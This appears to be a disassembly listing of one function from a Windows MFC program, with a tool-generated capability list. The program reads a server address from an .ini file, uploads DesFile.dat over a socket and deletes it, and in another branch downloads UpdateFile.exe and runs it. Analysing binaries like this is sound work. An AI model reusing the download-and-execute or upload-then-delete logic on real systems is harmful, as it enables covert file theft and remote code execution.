Function at 0x4013d0
Capabilities:
Create process on windows
Delete file
Download and write a file
Get common file path
Initialize winsock library
Print debug messages
Read .ini file
Read and send data from client to server
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x402589
push eax
mov eax, 0x3058
mov dword fs:[0], esp
call fcn.004021f0
push ebx
push ebp
push esi
lea eax, [esp + 0x2d4]
push edi
mov ebp, ecx
push eax
push 0x202
mov dword [esp + 0x28], ebp
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401423
push 0
push 0
push str.Cannt_find_the_usable_WinSock_DLL.
call sub.MFC42.DLL_AfxMessageBox
jmp 0x401c79
mov ax, word [esp + 0x2d8]
cmp al, 2
jne 0x401c65
xor ecx, ecx
mov cl, ah
cmp cl, al
jne 0x401c65
lea edx, [esp + 0x1d8]
push 0x100
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.MyqpHistoryCombo.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1d8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1d8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x88]
push 0x14
push ecx
push 0
push 0x4040b8
push str.SERVERINFO
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0x84]
lea ecx, [esp + 0x18]
push edx
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x18]
push str.5118
push eax
mov dword [esp + 0x3078], 0
call fcn.00401150
mov ebx, eax
add esp, 8
cmp ebx, 0xffffffff
jne 0x4014ff
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, ebp
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], ebx
call sub.MFC42.DLL_CString::CString
jmp 0x401c79
mov eax, dword [esp + 0x3078]
lea edx, [esp + 0x3c]
test eax, eax
mov edi, str.0x101
jne 0x401518
mov edi, str.0x102
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0xa
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44]
push ecx
push ebx
call ebp
mov eax, dword [esp + 0x3078]
test eax, eax
je 0x40195b
lea ecx, [esp + 0x14]
call fcn.00402170
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3070], 1
call fcn.00402170
lea ecx, [esp + 0x24]
mov byte [esp + 0x3070], 2
call fcn.00402170
push 0x104
push 0x105
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3078], 3
call sub.MFC42.DLL_CString::GetBufferSetLength
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or esi, 0xffffffff
lea ecx, [esp + 0x14]
push esi
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReverseFind
lea edx, [esp + 0x10]
push eax
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x3074], 4
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
mov byte [esp + 0x3070], 3
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x14]
push str.DesFile.dat
lea ecx, [esp + 0x14]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x3074], 5
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
mov byte [esp + 0x3070], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x4c]
call sub.MFC42.DLL_CFileFind::CFileFind
mov edx, dword [esp + 0x1c]
push 0
push edx
lea ecx, [esp + 0x54]
mov byte [esp + 0x3078], 6
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
jne 0x40165d
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
jmp 0x4016a8
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CFile::CFile
mov eax, dword [esp + 0x1c]
push 0
push 0x8000
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x307c], 7
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x401703
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x28]
mov byte [esp + 0x3070], 6
call fcn.0040212e
lea ecx, [esp + 0x4c]
mov byte [esp + 0x3070], 3
call fcn.00402128
lea ecx, [esp + 0x24]
mov byte [esp + 0x3070], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3070], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x3070], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], esi
call sub.MFC42.DLL_CString::CString
mov eax, esi
jmp 0x401c7c
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x98]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, 0x2b
xor eax, eax
mov edi, 0x4041d8
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
call sub.MFC42.DLL_CFile::GetFileTitle
mov edi, dword [eax]
mov ecx, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x4041d8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0xa0]
mov dword [0x404258], eax
mov eax, dword [esp + 0xa4]
mov dword [0x40425c], ecx
mov ecx, dword [esp + 0xa8]
mov dword [0x404260], edx
mov edx, dword [esp + 0xac]
push 0
mov dword [0x404264], eax
mov eax, dword [esp + 0xb4]
mov dword [0x404268], ecx
mov ecx, dword [esp + 0xb8]
mov dword [0x40426c], edx
mov edx, dword [esp + 0xbc]
push 0xac
push 0x4041d8
push ebx
mov dword [0x404270], eax
mov dword [0x404274], ecx
mov dword [0x404278], edx
call ebp
mov eax, dword [0x404278]
xor esi, esi
test eax, eax
mov ebp, 0x400
jbe 0x401849
sub eax, esi
cmp eax, 0x400
jae 0x4017ff
mov ebp, eax
push 0
push esi
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CFile::Seek
lea eax, [esp + 0x468]
push ebp
push eax
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CFile::Read
mov edi, eax
test edi, edi
je 0x401849
push 0
lea ecx, [esp + 0x46c]
push edi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4018dd
mov eax, dword [0x404278]
add esi, edi
cmp esi, eax
jb 0x4017f4
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CFile::Close
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x28]
mov byte [esp + 0x3070], 6
call fcn.0040212e
lea ecx, [esp + 0x4c]
mov byte [esp + 0x3070], 3
call fcn.00402128
lea ecx, [esp + 0x24]
mov byte [esp + 0x3070], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3070], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x3070], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x401c7c
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x28]
mov byte [esp + 0x3070], 6
call fcn.0040212e
lea ecx, [esp + 0x4c]
mov byte [esp + 0x3070], 3
call fcn.00402128
lea ecx, [esp + 0x24]
mov byte [esp + 0x3070], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3070], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x3070], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x401c79
mov al, byte [0x404108]
mov ecx, 0x9ff
mov byte [esp + 0x868], al
xor eax, eax
lea edi, [esp + 0x869]
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x86c]
push 5
push ecx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.WS2_32.dll_recv]
mov byte [esp + eax + 0x868], 0
mov edi, str.xf101
lea esi, [esp + 0x868]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x4019c9
test al, al
je 0x4019c5
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x4019c9
add esi, 2
add edi, 2
test al, al
jne 0x4019a1
xor eax, eax
jmp 0x4019ce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401c31
push 0x1e8
call sub.MFC42.DLL_operatornew
mov ebp, eax
mov edi, 0x404070
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], 0x1e8
mov dword [ebp + 0xc], 0x10
mov dword [ebp + 0x1e4], 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 0x1a4]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp + 0xa0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404060
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
call edi
lea ecx, [esp + 0x10]
call fcn.00402170
push 0x104
push 0x105
lea ecx, [esp + 0x18]
mov byte [esp + 0x3078], 8
call sub.MFC42.DLL_CString::GetBufferSetLength
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x38]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x3074], 9
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x38]
mov byte [esp + 0x3070], 8
call sub.MFC42.DLL_CString::CString
push str.UpdateFile.exe
lea ecx, [esp + 0x14]
call fcn.00402104
lea ecx, [esp + 0x68]
call sub.MFC42.DLL_CFileFind::CFileFind
mov edx, dword [esp + 0x10]
mov byte [esp + 0x3070], 0xa
push 0
push edx
lea ecx, [esp + 0x70]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x401b0c
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x10]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
lea edx, [esp + 0x86c]
push 0x2800
push edx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401bb2
cmp eax, 0xffffffff
je 0x401b60
lea ecx, [esp + 0x48]
push 0
push ecx
lea edx, [esp + 0x870]
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401b28
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x68]
mov byte [esp + 0x3070], 8
call fcn.00402128
lea ecx, [esp + 0x10]
mov byte [esp + 0x3070], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x401c79
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push 2
call edi
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x68]
mov byte [esp + 0x3070], 8
call fcn.00402128
lea ecx, [esp + 0x10]
mov byte [esp + 0x3070], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x401c7c
lea ecx, [esp + 0x868]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x20]
call sub.MFC42.DLL_CDialog::OnOK
lea ecx, [esp + 0x18]
mov dword [esp + 0x3070], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x401c79
push 0
push 0
push str.Cannt_find_the_usable_WinSock_DLL.
call sub.MFC42.DLL_AfxMessageBox
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
mov ecx, dword [esp + 0x3068]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3064
ret 4